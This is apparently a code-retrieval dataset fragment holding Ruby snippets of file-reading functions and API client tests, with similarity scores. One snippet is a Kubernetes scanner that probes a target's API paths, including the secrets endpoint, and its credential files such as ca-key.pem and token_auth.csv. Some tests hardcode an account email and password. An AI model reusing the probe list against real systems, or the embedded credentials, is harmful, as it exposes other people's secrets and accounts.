"def read_from_file\n begin\n File.open(@file) do |file|\n file.each_line {|line| @data_for_output << line}\n end\n rescue Errno::ENOENT => e\n puts e\n exit\n end\n end",
"def read_file(file)\n File.read(file)\n end",
"def read_file(file)\n File.read(file)\n end",
"def read_in\n File.foreach(file_name).map(&:chomp)\n end",
"def read(file)\n filepath = File.join(File.dirname(__dir__), file)\n file = File.read(filepath)\n Success(file)\n rescue\n Failure(\"Failed to parse file\")\n end",
"def read_file(file_name)\n file = File.open(file_name, \"r\")\n data = file.read\n file.close\n return data\nend",
"def mock_data\n\t\tputs \"Failsafe. Using mock data as no data is provided or the file path is not a complete file path or file does not exist\"\n\t\tdata = File.open(\"./conference/data/problem_data.txt\",\"r+\") do |f|\n\t\t\tf.read\n\t\tend \n\t\treturn data\n\tend",
"def load( file_path )\n description_found = false\n length_found = 0\n number_of_ratios = 0\n\n @file_path = file_path\n file = File.new( file_path, 'r')\n file.each_line(\"\\n\") do |row|\n\n # cleanse and prepare\n\n row.lstrip!\n row.rstrip!\n row.squeeze!(' ')\n next if row[0] == '!' # ignore comments\n\n unless description_found # description is the first non commented line\n @description = row\n description_found = true\n next\n end\n\n unless number_of_ratios > 0 # total ratios comes next after description is found\n number_of_ratios = row.to_i\n next\n end\n\n # Cents or fraction then process\n\n tokens = row.split(' ')\n if tokens[0].include?('.') # cents\n @cents << tokens[0].to_f\n elsif tokens[0].include?('/') # if fraction then convert to cents\n parts = tokens[0].split('/')\n # cents <== log(n/d) * (1200/log(2))\n @cents << Math.log10( (parts[0].to_f / parts[1].to_f) ) * MiltonsMachine::Core::Constants::CENTS_CONVERSION\n end\n end\n\n end",
"def _get_file_contents(file)\n raise InvalidPath, \"connection file doesn't exist\" unless File.file?(file)\n _parse File.read(file)\n end",
"def get_program_file_data(program_file)\n File.open(program_file,'rb'){|f| f.read}\nend",
"def read_file(file, context)\n File.read(file)\n end",
"def read_file filename\n \n # The first block location is stored in the hash table.\n hash_a = Hashing::hash_for :hash_a, filename\n hash_b = Hashing::hash_for :hash_b, filename\n hash_entry = @hash_table.find do |h|\n [h.hash_a, h.hash_b] == [hash_a, hash_b]\n end\n unless hash_entry\n return nil\n end\n block_entry = @block_table[hash_entry.block_index]\n unless block_entry.file?\n return nil \n end\n @io.seek @user_header.archive_header_offset + block_entry.block_offset\n file_data = @io.read block_entry.archived_size\n \n # Blocks can be encrypted. Decryption isn't currently implemented as none \n # of the blocks in a StarCraft 2 replay are encrypted.\n if block_entry.encrypted?\n return nil\n end\n \n # Files can consist of one or many blocks. In either case, each block \n # (or *sector*) is read and individually decompressed if needed, then \n # stitched together for the final result.\n if block_entry.single_unit?\n if block_entry.compressed?\n if file_data.bytes.next == 16\n file_data = Bzip2.uncompress file_data[1, file_data.length]\n end\n end\n return file_data \n end\n sector_size = 512 << @archive_header.sector_size_shift\n sectors = block_entry.size / sector_size + 1\n if block_entry.has_checksums\n sectors += 1\n end\n positions = file_data[0, 4 * (sectors + 1)].unpack \"V#{sectors + 1}\"\n sectors = []\n positions.each_with_index do |pos, i|\n break if i + 1 == positions.length\n sector = file_data[pos, positions[i + 1] - pos]\n if block_entry.compressed?\n if block_entry.size > block_entry.archived_size\n if sector.bytes.next == 16\n sector = Bzip2.uncompress sector\n end\n end\n end\n sectors << sector\n end\n sectors.join ''\n end",
"def read\n File.read(file_name)\n rescue Errno::ENOENT\n # ignore, will return nil\n end",
"def read_from_file(file_name)\n ::File.binread(file_name)\n rescue Errno::ENOENT\n raise(SymmetricEncryption::ConfigError, \"Symmetric Encryption key file: '#{file_name}' not found or readable\")\n end",
"def read_test_file(file)\n File.read(File.join('./test/fixtures/dstu2_files', file))\n end",
"def read_file(file)\n File.read(file)\nend",
"def read_data(file_name)\n file = File.open(file_name,\"r\")\n object = eval(file.gets.untaint.encode('UTF-8', :invalid => :replace, :replace => '').gsub('\\n', \"\"))\n file.close()\n return object\nend",
"def read_binary(file); end",
"def read_file(path)\n file_contents = []\n File.open(path).each { |line| file_contents << line }\n\n file_contents\n end",
"def read_file\n \t@readin = []\n file = File.open(@filename[@file_count], 'r')\n\t @readin = file.each.to_a\n\t # chop off the escaped characters (in this case: \\r\\n)\n @readin.map! {|s| s.chomp}\n # increment the file count\n @file_count += 1\n file.close\n # determine which file was read in\n # the files either have a \"W\" (for power) or \"Wh\" as the first line\n \tif @readin[0] =~ /Wh/\n \t\tparse_energy\n \telse @readin[0] =~ /W/\n \t\tparse_power\n \tend\n end",
"def raw_contents\n File.read(path)\n end",
"def load_file_contents(file)\n File.open(file, 'r').read\n end",
"def read_file\n @codes = [@path]\n File.open(@path).each { |l|\n @codes << l\n }\n end",
"def read()\n File.open(\"/tmp/mount/y0\", \"r\").read.to_f\nend",
"def read_unparsed_file(filename)\n File.read(\"spec/fixtures/files/responses/#{filename}\")\n end",
"def nuspec_local_license_file\n return @nuspec_local_license_file if defined?(@nuspec_local_license_file)\n return unless nuspec_contents\n\n match = nuspec_contents.match LICENSE_FILE_REGEX\n return unless match && match[1]\n\n license_path = File.join(File.dirname(nuspec_path), match[1])\n return unless File.exist?(license_path)\n\n license_data = File.read(license_path)\n @nuspec_local_license_file = Licensee::ProjectFiles::LicenseFile.new(license_data, license_path)\n end",
"def readFile\r\n\t\tfile = File.open(fileName, \"r\")\r\n\r\n\t\t#Array for partial matches\t\t\r\n\t\t@dictionary = Array.new\r\n\t\tfile.each do |line|\r\n\t\t\tif line != \"\\n\"\r\n\t\t\t\t@dictionary << line.split(/[:;\\n]/)\r\n\t\t\tend\r\n\t\tend\r\n\t\tstartStrategies\r\n\tend",
"def read_file(filename)\n file = File.open(filename, 'r')\n data = file.read\n file.close\n data\nend",
"def parse(file_path)\n begin\n rows = CSV.read(file_path, headers: true, header_converters: :symbol, converters: [:all, :blank_to_nil])\n rescue CSV::MalformedCSVError => e\n raise \"Could not parse CSV file. Original error: #{e.message}\"\n rescue StandardError => e\n raise \"Could not load CSV file. Make sure the file has CSV headers. Original error: #{e.message}\"\n end\n @contracts = rows.collect {|row| row.to_hash }\n end",
"def read_energy(zone_path)\n read_first_line(File.join(zone_path, ENERGY_FILE_NAME)).to_i\nend",
"def read_config_file(file); end",
"def read_workspace_file(workspace_bucket_id, filename)\n file = self.get_workspace_file(workspace_bucket_id, filename)\n file_contents = file.download\n file_contents.rewind\n file_contents\n end",
"def read_in_sandbox(filename)\n file = Dir[File.join(sandbox, filename)].first\n file ? File.read(file) : \"\"\nend",
"def quotationfileprocess path \n File.open(path, 'r') do |file|\n file.each_line do |line|\n cols = line.force_encoding('gb2312').split(\"\\t\")\n if /\\d{6}/ =~ cols[0][2..7].strip\n\t\t\t\t\t#added new quotation\n q = Quotation.new\n q.marketdate = tradedate\n \n q.code = cols[0][2..7].strip\n q.name = cols[1].strip\n q.cqstatus = 'chuquan' unless q.name[0..1] != 'XD'\n q.plate = cols[18].strip\n\n if cols[11].strip == '--'\n preq = Quotation.find_by(marketdate: pretradedate, code: q.code) \n q.open = 0 \n q.high = 0 \n q.low = 0 \n q.close = cols[14].strip\n\t\t\t\t\t q.dprofit = 0 \n\n q.tpstatus = 'tingpai' \n else\n q.open = cols[11].strip\n q.high = cols[12].strip\n q.low = cols[13].strip\n q.close = cols[3].strip\n\n\t\t\t\t\t q.dprofit = cols[2].strip\n end\n\t\t\t\t\t\n q.save\n end\n end\n end\n\tend",
"def read\n @fileobj.seek @data_offset\n @data = @fileobj.read @data_size\n end",
"def ovl_read_file(rel_file)\n File.read(ovl_expand_file(rel_file), encoding: \"UTF-8\")\n end",
"def read(file_path, password)\n truststore_raw = File.read file_path\n OpenSSL::PKCS12.new(truststore_raw, password)\n end",
"def read_test_cases\n Integer(@file.gets)\n end",
"def read_text(filename); end",
"def read_save_data(file)\r\n read_characters(file)\r\n read_frame(file)\r\n read_data(file)\r\n read_edit\r\n read_refresh\r\n end",
"def get_file_contents(file_path)\n input_file = File.open(file_path, 'r')\n input_file_contents = input_file.read\n input_file.close\n input_file_contents.split(\"\\n\")\n end",
"def read(file)\n if @options[:input_file]\n file = File.join(File.dirname(@options[:input_file]), file)\n end\n File.read(file)\n end",
"def initialize\n @cities = []\n @quantity = 0\n # Read Cities File\n read_file\n end",
"def read(path)\n # applies to Puppet::SSL::Certificate, Puppet::SSL::CertificateRequest\n # nothing derives from Puppet::SSL::Certificate, but it is called by a number of other SSL Indirectors:\n # Puppet::Indirector::CertificateStatus::File (.indirection.find)\n # Puppet::Network::HTTP::WEBrick (.indirection.find)\n # Puppet::Network::HTTP::RackREST (.from_instance)\n # Puppet::Network::HTTP::WEBrickREST (.from_instance)\n # Puppet::SSL::Inventory (.indirection.search, implements its own add / rebuild / serials with encoding UTF8)\n @content = wrapped_class.new(Puppet::FileSystem.read(path, :encoding => Encoding::ASCII))\n end",
"def read_file(file)\r\n\tlines = IO.readlines(file)\r\n\tif lines != nil\r\n\t\tfor i in 0 .. lines.length-1\r\n\t\t\tlines[i] = lines[i].sub(\"\\n\",\"\")\r\n\t\tend\r\n\t\treturn lines[0..lines.length-1]\r\n\tend\r\n\treturn nil\r\nend",
"def read(files); end",
"def read(files); end",
"def read_file pn\n pn.readlines.map(&:chomp)\n .each do |line|\n @entries.add line, pn\n end\n end",
"def import_problem(file_name)\n @matrix = File.open(file_name).readlines.map do |row|\n row.chomp.split('').map { |cell| cell.to_i }\n end\n end",
"def read(_lines)\n raise NotImplementedError\n end",
"def recieve_and_read_file\n read_file(@message)\n end",
"def read(_file)\n fail \"Fetcher #{self} does not implement `read(...)`. This is required.\"\n end"
] |
[
"0.65166515",
"0.5792084",
"0.5531755",
"0.5453012",
"0.54495186",
"0.5363613",
"0.53139305",
"0.5303696",
"0.5253286",
"0.52237546",
"0.5196882",
"0.51803017",
"0.51794356",
"0.5155329",
"0.51530117",
"0.5138323",
"0.5134909",
"0.512134",
"0.5098019",
"0.508683",
"0.50642645",
"0.505633",
"0.50521374",
"0.50501204",
"0.5043117",
"0.50253195",
"0.50253195",
"0.5020233",
"0.50160784",
"0.4999544",
"0.4998104",
"0.4997374",
"0.49924284",
"0.49920872",
"0.49843216",
"0.49838802",
"0.49813646",
"0.49736077",
"0.49714443",
"0.49663448",
"0.49450052",
"0.49405903",
"0.49384025",
"0.49343383",
"0.4934093",
"0.4934093",
"0.4932",
"0.4915732",
"0.49151856",
"0.4915145",
"0.4915145",
"0.4903376",
"0.49010214",
"0.4890949",
"0.48878726",
"0.48792383",
"0.48695654",
"0.48694372",
"0.48669147",
"0.4829583",
"0.48267087",
"0.48241702",
"0.48178035",
"0.48145267",
"0.48025164",
"0.47829282",
"0.47800872",
"0.47773063",
"0.477432",
"0.47660428",
"0.475915",
"0.47585726",
"0.47538912",
"0.47481796",
"0.47475028",
"0.47449425",
"0.47431526",
"0.4742537",
"0.4741459",
"0.47410092",
"0.47409374",
"0.47286054",
"0.4727788",
"0.47269237",
"0.4724611",
"0.47140306",
"0.47111693",
"0.47047627",
"0.4703719",
"0.4702989",
"0.47023425",
"0.46989107",
"0.4694563",
"0.4681617",
"0.4681617",
"0.46772376",
"0.4676291",
"0.46751946",
"0.4673554",
"0.46620548"
] |
0.72441465
|
0
|
Test cases for new NXAPI client APIs
|
def test_config_string
client.config("int et1/1\ndescr panda\n")
run = client.show('show run int et1/1')
desc = run.match(/description (.*)/)[1]
assert_equal(desc, 'panda')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new_api\n load_config\n require 'extensions/metasploit/extension.rb'\n @api = BeEF::Extension::Metasploit::RpcClient.instance\n @api.unit_test_init()\n end",
"def test_firecloud_api_available\n # check that API is up\n api_available = @fire_cloud_client.api_available?\n assert [true, false].include?(api_available), 'Did not receive corret boolean response'\n end",
"def apis; end",
"def test_api_create\n assert_nothing_raised do\n new_api\n end\n end",
"def test_api_request\r\n t = AuthorInfo.make_request(\"James_Joyce\")\r\n assert_equal(true, t.length > 0)\r\n end",
"def api; end",
"def api; end",
"def test_get_versions\n puts \"## get api server version ##\"\n resp = Salesforce::Rest::AsfRest.xget_version()\n\n counter = 0\n resp.each do |row|\n puts '-' * 36 + \" row: #{counter} \" + '-' * 36\n row.keys.each do |key|\n pp key + \" => \" + row[key]\n end\n puts '-' * 80\n counter = counter + 1\n end\n assert !resp.nil?\n end",
"def test_solveticket\n\n # create ticket\n @zendeskclient.createticket(\"test ticket\", \"4\", 'Captain Cool', \"alphabar@foobar5.com\")\n assert_equal(201, @zendeskclient.responsecode)\n assert(@zendeskclient.response.to_s.match('http://rateitindia.zendesk.com'))\n tktcreationresponse = @zendeskclient.response\n\n resource = RestClient::Resource.new tktcreationresponse, 'harishkrishna@yahoo.com', 'aashiana'\n doc = Document.new(resource.get)\n # a new ticket; assert on the status of the ticket\n assert_equal(\"0\", doc.root.elements[\"status-id\"].text)\n\n\n ticketid = ZenDeskAPI.extractid(tktcreationresponse)\n\n\n # solve the ticket and test for the http error code\n @zendeskclient.solveticket(\"31198262\", ticketid)\n assert_equal(200, @zendeskclient.responsecode)\n\n resource = RestClient::Resource.new tktcreationresponse, 'harishkrishna@yahoo.com', 'aashiana'\n doc = Document.new(resource.get)\n # after solving the ticket; assert on the status of the ticket\n assert_equal(\"3\", doc.root.elements[\"status-id\"].text)\n\n end",
"def test_login\n new_api\n assert(@api.login)\n end",
"def test_all\n assert_gets(\"/api/v2/#{api_class}?offset=0&limit=999\") { wf.all }\n end",
"def test_can_have_apikey\n @test1 = CinePassion.new(\"test-api-key\")\n assert_equal(@test1.proxyinfo, [nil, nil, nil, nil])\n \n @test2 = CinePassion.new(\"test-api-key\", \"http://127.0.0.1:3128/\")\n assert_equal(@test2.proxyinfo, [\"127.0.0.1\", 3128, nil, nil])\n \n @test3 = CinePassion.new(\"test-api-key\", \"http://user:pass@127.0.0.1:3128/\")\n assert_equal(@test3.proxyinfo, [\"127.0.0.1\", 3128, \"user\", \"pass\"])\n end",
"def stub_api_init(source_types:, tenants:, application_types: nil, applications:, topology_sources:)\n stub_api_source_types_get(:response => source_types)\n stub_api_applications_get(:response => applications)\n stub_api_application_types_get(:response => application_types) if application_types\n stub_api_tenants_get(tenants)\n stub_api_topology_sources_get(:response => topology_sources)\n end",
"def test_scenario1\n puts \"\\nTesting projects REST api calls\\n\" \n name = \"my project\"\n new_name = \"my new project\"\n\n puts \"Given I create a project with name \"+ name\n project = @api.create_project({'name' => name})\n\n puts \"And I wait until project is ready\"\n assert_equal(@api.ok(project), true)\n\n puts \"Then I check project name is \" + project[\"object\"][\"name\"]\n assert_equal(name, project[\"object\"][\"name\"])\n\n puts \"And I update the project with new name \"+new_name\n project = @api.update_project(project[\"resource\"], {\"name\" => new_name})\n assert_equal(BigML::HTTP_ACCEPTED, project[\"code\"])\n\n puts \"Then I check the project name is a new name \"+new_name\n assert_equal(new_name, project[\"object\"][\"name\"]) \n\n puts \"And i delete the project\"\n project = @api.delete_project(project[\"resource\"])\n assert_equal(BigML::HTTP_NO_CONTENT, project[\"code\"])\n\n end",
"def test_connection\n response = send_api_request(:index)\n response[:returncode]\n end",
"def test_connection\n response = send_api_request(:index)\n response[:returncode]\n end",
"def test_legacy\n # Set up legacy handlers\n setup_legacy_handling\n\n common_tests\n end",
"def new_client(username , password)\n @client = Octokit::Client.new(:login => username, :password => password)\nend",
"def test_test_list_catalog()\r\n # Parameters for the API call\r\n cursor = nil\r\n types = nil\r\n\r\n # Perform the API call through the SDK function\r\n result = @controller.list_catalog(cursor: cursor, types: types)\r\n\r\n # Test response code\r\n assert_equal(200, @response_catcher.response.status_code)\r\n\r\n # Test headers\r\n expected_headers = {}\r\n expected_headers['content-type'] = 'application/json'\r\n\r\n assert(ComparisonHelper.match_headers(expected_headers, @response_catcher.response.headers))\r\n end",
"def assert_api_requests\n assert Bixby::API.stubs.empty?, \"Not all expected API calls were made! #{Bixby::API.stubs.size} stubs left\"\n end",
"def unsupported_client\n\n end",
"def api_only; end",
"def api_only; end",
"def api_only; end",
"def test_can_have_apikey\n @test1 = CinePassion.new()\n assert_equal(@test1.apikey, \"test-api-key\")\n @test2 = CinePassion.new(\"fake-7945cb-fake\")\n assert_equal(@test2.apikey, \"test-api-key\")\n end",
"def test_test_catalog_info()\r\n\r\n # Perform the API call through the SDK function\r\n result = @controller.catalog_info()\r\n\r\n # Test response code\r\n assert_equal(200, @response_catcher.response.status_code)\r\n\r\n # Test headers\r\n expected_headers = {}\r\n expected_headers['content-type'] = 'application/json'\r\n\r\n assert(ComparisonHelper.match_headers(expected_headers, @response_catcher.response.headers))\r\n end",
"def test_cli_automation_interface\n # assert_respond_to(SakaiInfo::User, :all_serializations)\n # u = fetch_user_object\n # SakaiInfo::User.all_serializations.each do |s|\n # method_name = \"#{s.to_s}_serialization\".to_sym\n # assert_respond_to(u, method_name)\n # end\n end",
"def test_parameter_error\n client = OAI::Client.new 'http://localhost:3333/oai'\n assert_raises(OAI::ArgumentException) {client.get_record('foo')}\n assert_raises(OAI::ArgumentException) {client.list_identifiers('foo')}\n assert_raises(OAI::ArgumentException) {client.list_records('foo')}\n assert_raises(OAI::ArgumentException) {client.list_metadata_formats('foo')}\n assert_raises(OAI::ArgumentException) {client.list_sets('foo')}\n end",
"def check\n\n # run a nuclei\n uri = _get_entity_name\n\n\n known_paths = <<-eos\n/api\n/api/v1\n/api/v1/namespaces\n/api/v1/nodes\n/api/v1/pods\n/apis\n/apis/admissionregistration.k8s.io/v1beta1\n/apis/apiextensions.k8s.io/v1beta1\n/apis/apiregistration.k8s.io/v1beta1\n/apis/apps/v1\n/apis/apps/v1beta1\n/apis/apps/v1beta2\n/apis/authentication.k8s.io/v1\n/apis/authentication.k8s.io/v1beta1\n/apis/authorization.k8s.io/v1\n/apis/authorization.k8s.io/v1beta1\n/apis/autoscaling/v1\n/apis/autoscaling/v2beta1\n/apis/batch/v1\n/apis/batch/v1beta1\n/apis/certificates.k8s.io/v1beta1\n/apis/events.k8s.io/v1beta1\n/apis/extensions/v1beta1\n/apis/extensions/v1beta1/podsecuritypolicies\n/apis/networking.k8s.io/v1\n/apis/policy/v1beta1\n/apis/rbac.authorization.k8s.io/v1\n/apis/rbac.authorization.k8s.io/v1beta1\n/apis/storage.k8s.io/v1\n/apis/storage.k8s.io/v1beta1\n/version\n/api/v1/namespaces/default/pods/\n/api/v1/namespaces/default/pods/test/status\n/api/v1/namespaces/default/secrets/\n/apis/extensions/v1beta1/namespaces/default/deployments\n/apis/extensions/v1beta1/namespaces/default/daemonsets\nca-key.pem\ntoken_auth.csv\nca.pem\nconfig.seen\ncloud-provider.yaml\napiserver.pem\n10-flannel.conf\nconfig.source\naudit.log\nconfig.hash\napiserver-key.pem\ncni-conf.json\nkube-proxy.log\napiserver-aggregator-ca.cert\napiserver-aggregator.cert\nserver.cert\nca.key\netcd-events.log\nkube-scheduler.log\nnode-role.kubernetes.io\nkube-apiserver.log\nbasic_auth.csv\ndns.alpha.kubernetes.io\napiserver-aggregator.key\netcd.log\nknown_tokens.csv\nkube-controller-manager.log\nca.crt\nserver.key\nrun.sh\netcd-apiserver-client.key\netcd-ca.crt\nadmission_controller_config.yaml\nserviceaccount.crt\napiserver-client.crt\nca-certificates.crt\napiserver.crt\nkube-addons.sh\ngce.conf\npv-recycler-template.yaml\netcd-apiserver-client.crt\nproxy_client.crt\napiserver.key\netcd-apiserver-server.crt\netcd-apiserver-ca.crt\netcd-apiserver-server.key\nserviceaccount.key\netcd-peer.key\naggr_ca.crt\nmigrate-if-needed.sh\napiserver-client.key\nproxy_client.key\netcd-peer.crt\nkube-addon-manager.log\nkube-apiserver-audit.log\nglbc.log\neos\n\n\n\n # default value for the check response\n out = false\n\n # first test that we can get something\n contents = http_get_body \"#{uri}\"\n _log_error \"failing, unable to get a response\" unless contents\n\n # get a missing page, and sha the dom\n benign_contents = http_get_body \"#{uri}/api/v1/namespaces/default/pods/#{rand(10000000000)}.aspx\"\n benign_content_sha = Digest::SHA1.hexdigest(html_dom_to_string(benign_contents))\n\n # check all paths for a non-error response\n known_paths.split(\"\\n\").each do |k8path|\n _log \"Getting: #{k8path}\"\n\n full_path = \"#{uri}#{k8path}\"\n\n # get the body and do the same thing as above\n contents = http_get_body full_path\n our_sha = Digest::SHA1.hexdigest(html_dom_to_string(contents))\n\n # now check them\n default_response = /default backend \\- 404/\n if our_sha != benign_content_sha && !contents =~ default_response\n heuristic_match = true\n _log \"Odd contents for #{full_path}!, flagging\"\n out = construct_positive_match(full_path, contents, benign_contents)\n else\n _log \"Got same content for missing page, probably okay\"\n end\n\n end\n\n out\n end",
"def test_workflow\n\n #create a random agent\n randomagent = UUIDTools::UUID.timestamp_create.to_s\n @zendeskclient.createuser(randomagent+='@gmail.com', 'Harish', \"4\", \"0\", [134692])\n assert_equal(201, @zendeskclient.responsecode)\n #lets make sure the /user/#{id}.xml exists\n\n usercreationresponse = @zendeskclient.response\n begin\n resource = RestClient::Resource.new usercreationresponse, @username, @pswd\n rescue\n assert(false) # if we hit this assertion for any reason means, we cannot access the user file\n # which means we have failed\n end\n\n # create ticket with the same user as created above as requester\n # this is implemented by using the same email id as before\n @zendeskclient.createticket(\"test ticket\", \"4\", 'Captain Cool', randomagent)\n assert_equal(201, @zendeskclient.responsecode)\n assert(@zendeskclient.response.to_s.match(@host))\n tktcreationresponse = @zendeskclient.response\n\n resource = RestClient::Resource.new tktcreationresponse, 'harishkrishna@yahoo.com', 'aashiana'\n doc = Document.new(resource.get)\n # a new ticket; assert on the status of the ticket\n assert_equal(\"0\", doc.root.elements[\"status-id\"].text)\n\n\n ticketid = ZenDeskAPI.extractid(tktcreationresponse)\n\n\n # solve the ticket and test for the http error code\n @zendeskclient.solveticket(\"31198262\", ticketid)\n assert_equal(200, @zendeskclient.responsecode)\n\n resource = RestClient::Resource.new tktcreationresponse, 'harishkrishna@yahoo.com', 'aashiana'\n doc = Document.new(resource.get)\n # after solving the ticket; assert on the status of the ticket\n assert_equal(\"3\", doc.root.elements[\"status-id\"].text)\n\n\n end",
"def test_smart_create\n autoclient = Cisco::Shim::Client.create(address, username, password)\n assert_equal(Cisco::Shim::GRPC::Client, autoclient.class)\n assert(autoclient.supports?(:cli))\n assert_equal(:ios_xr, autoclient.platform)\n end",
"def api\n @api ||= Octokit::Client.new(:login => login, :oauth_token => token)\n end",
"def test_api_call\n settings = Wovnrb.get_settings\n token = settings['project_token']\n url = 'wovn.io/dashboard'\n stub = stub_request(:get, \"#{settings['api_url']}?token=#{token}&url=#{url}\").\n to_return(:body => '{\"test_body\": \"a\"}')\n\n i = Wovnrb::Interceptor.new(get_app, settings)\n\n i.call(Wovnrb.get_env)\n assert_requested(stub, :times => 1)\n end",
"def test_api_call\n settings = Wovnrb.get_settings\n token = settings['project_token']\n url = 'wovn.io/dashboard'\n stub = stub_request(:get, \"#{settings['api_url']}?token=#{token}&url=#{url}\").\n to_return(:body => '{\"test_body\": \"a\"}')\n\n i = Wovnrb::Interceptor.new(get_app, settings)\n\n i.call(Wovnrb.get_env)\n assert_requested(stub, :times => 1)\n end",
"def test_xmlrpc_server\r\n require \"XRserver\"\r\n end",
"def test_add_event()\n # Parameters for the API call\n\n req_headers = JSON.parse('{'\\\n '\"Host\": \"api.acmeinc.com\",'\\\n '\"Accept\": \"*/*\",'\\\n '\"Connection\": \"Keep-Alive\",'\\\n '\"User-Agent\": \"Dalvik/2.1.0 (Linux; U; Android 5.0.2; C6906 Build/14.5.A.0.242)\",'\\\n '\"Content-Type\": \"application/json\",'\\\n '\"Content-Length\": \"126\",'\\\n '\"Accept-Encoding\": \"gzip\"'\\\n '}')\n\n req_body = JSON.parse( '{'\\\n '\"items\": ['\\\n '{'\\\n '\"type\": 1,'\\\n '\"id\": \"fwfrf\"'\\\n '},'\\\n '{'\\\n '\"type\": 2,'\\\n '\"id\": \"d43d3f\"'\\\n '}'\\\n ']'\\\n '}')\n\n rsp_headers = JSON.parse('{'\\\n '\"Date\": \"Tue, 6 Jan 2019 23:46:49 GMT\",'\\\n '\"Vary\": \"Accept-Encoding\",'\\\n '\"Pragma\": \"no-cache\",'\\\n '\"Expires\": \"-1\",'\\\n '\"Content-Type\": \"application/json; charset=utf-8\",'\\\n '\"Cache-Control\": \"no-cache\"'\\\n '}')\n\n rsp_body = JSON.parse('{'\\\n '\"Error\": \"InvalidArgumentException\",'\\\n '\"Message\": \"Missing field field_a\"'\\\n '}')\n\n metadata = JSON.parse('{'\\\n '\"foo\": \"rubytestmeta\",'\\\n '\"bar\": \"rubytestmedat2\"'\\\n '}')\n\n event_req = EventRequestModel.new()\n event_req.time = Time.now.utc.iso8601\n event_req.uri = \"https://api.acmeinc.com/items/reviews/\"\n event_req.verb = \"PATCH\"\n event_req.api_version = \"1.1.0\"\n event_req.ip_address = \"61.48.220.123\"\n event_req.headers = req_headers\n event_req.body = req_body\n\n event_rsp = EventResponseModel.new()\n event_rsp.time = (Time.now.utc + 2).iso8601\n event_rsp.status = 500\n event_rsp.headers = rsp_headers\n event_rsp.body = rsp_body\n\n event_model = EventModel.new()\n event_model.request = event_req\n event_model.response = event_rsp\n event_model.user_id = \"my_user_id\"\n event_model.company_id = \"my_company_id\"\n event_model.metadata = metadata\n event_model.session_token = \"23jdf0owekfmcn4u3qypxg09w4d8ayrcdx8nu2ng]s98y18cx98q3yhwmnhcfx43f\"\n\n # Perform the API call through the SDK function\n self.class.controller.create_event(event_model)\n\n # Test response code\n assert_equal(@response_catcher.response.status_code, 201)\n end",
"def call(_method, _path, params = {})\n puts \"Aici?\"\n begin\n #path = \"https://login-test03.cloud.xirrus.com/api/v2#{_path}\"\n\n path = \"#{@xms_url}/api/v2#{_path}\"\n puts \"PATH = #{path}\"\n if (_method == :get || _method == :get_string || _method == :get_csv || _method == :get_csv_all_radios || _method == :put_with_query_params || _method == :post_with_query_params)\n query = build_query(params)\n path += \"?#{query}\"\n # Escape if anu spaces in url\n path = URI.escape(path)\n end\n success = false\n case _method\n\n when :get\n puts \"#{token}\"\n response_json_string = RestClient.get( path, :authorization => \"Bearer #{token}\",\n\n :format => :json,\n\n :content_type => :json,\n\n :accept => :json\n ) # RestClient get\n\n when :post\n\n response_json_string = RestClient.post( path , params.to_json , :authorization => \"Bearer #{token}\",\n\n :format => :json,\n\n :content_type => :json,\n\n :accept => :json\n ) # RestClient Post\n when :post_file\n\n response_json_string = RestClient.post( path , params , :authorization => \"Bearer #{token}\",\n\n :format => :json,\n\n :content_type => :text,\n\n :accept => :json\n ) # RestClient Post file\n\n\n\n when :put\n puts params.to_json\n response_json_string = RestClient.put( path , params.to_json , :authorization => \"Bearer #{token}\",\n\n :format => :json,\n\n :content_type => :json,\n\n :accept => :json\n ) # RestClient Post\n\n when :delete\n response_json_string = RestClient.delete( path , :authorization => \"Bearer #{token}\",\n\n :format => :json,\n\n :content_type => :json,\n\n :accept => :json\n ) # RestClient Post\n when :delete_with_args\n response_json_string = RestClient.delete( path ,params, :authorization => \"Bearer #{token}\",\n\n :format => :json,\n\n :content_type => :json,\n\n :accept => :json\n ) # RestClient Post\n else nil\n\n end\n\n puts \" ---------- \"\n pp response_json_string\n puts \" ---------- \"\n response = API::ApiClient::Response.new(response_json_string, path)\n # update_history(response)\n if response.cookie\n @all_cookies = response.cookie\n puts \"new cookie...\"\n end\n @history << [path,response.body]\n\n response\n\n rescue => e\n puts \" ---------- \"\n puts e.message\n puts \" ---------- \"\n #puts \"rescuing ng api client call - #{e.message}\"\n\n #puts \"NG::ApiClient.call rescued - path: #{_path}\"\n #puts \"e.message: #{e.message}\"\n #response = XMS::NG::ApiClient::Response.new(e.message, path)\n e.message\n end\n\n end",
"def test_canvas_api_studenta_upcoming_events_headers\n skip(\"verify that studenta has appropriate events\")\n refute_nil @w\n ## this requires self in url\n #request_url = \"/users/self/upcoming_events?as_user_id=sis_login_id:studenta\"\n request_url = @@dummy_host+\"/users/self/upcoming_events\"\n request_parameters = {:params => {:as_user_id => 'sis_login_id:studenta'}}\n full_request_url = RestClient::Request.new(:method => :get, :url => request_url, :headers => request_parameters).url\n #full_request_url.gsub!(/%3A/, ':')\n\n # puts \"full_request_url: #{full_request_url}\"\n result_as_json = run_and_get_ruby_result(full_request_url)\n #puts \"result: \"+result_as_json.inspect\n assert_operator result_as_json.length, \">=\", 1, \"got some upcoming events back\"\n end",
"def test(*args)\n client.ping\n\n { success: true, result: 'Checked API endpoint' }\n rescue Gitlab::PrometheusError => err\n { success: false, result: err }\n end",
"def test_get_detail_info\n puts \"## get detail info about an object##\"\n resp = Salesforce::Rest::Account.xget_detail_info()\n\n resp.each {|key, val| pp key + ' => ' + val.to_s}\n #puts \"***now:*** data => \" + resp.body\n assert !resp.nil?\n end",
"def test_should_create_project_via_API_JSON\r\n get \"/logout\"\r\n post \"/projects.json\", :api_key => 'testapikey',\r\n :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response :created\r\n project = JSON.parse(response.body)\r\n check_new_project(project) \r\n end",
"def test_createticket\n\n @zendeskclient.createticket(\"test ticket\", \"4\", 'Captain Cool', \"alphabar@foobar5.com\")\n assert_equal(201, @zendeskclient.responsecode)\n assert(@zendeskclient.response.to_s.match('http://rateitindia.zendesk.com'))\n\n end",
"def test_invalid_api_key\n Prowl.any_instance.expects(:perform).returns(666)\n assert_equal 666, Prowl.add(:apikey => \"my api key\", :application => \"Fishes\", :event => \"Silly\", :description => \"Blah\")\n end",
"def test_should_not_create_project_via_API_XML\r\n get \"/logout\", :api_key=>'testapikey'\r\n post \"/projects.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
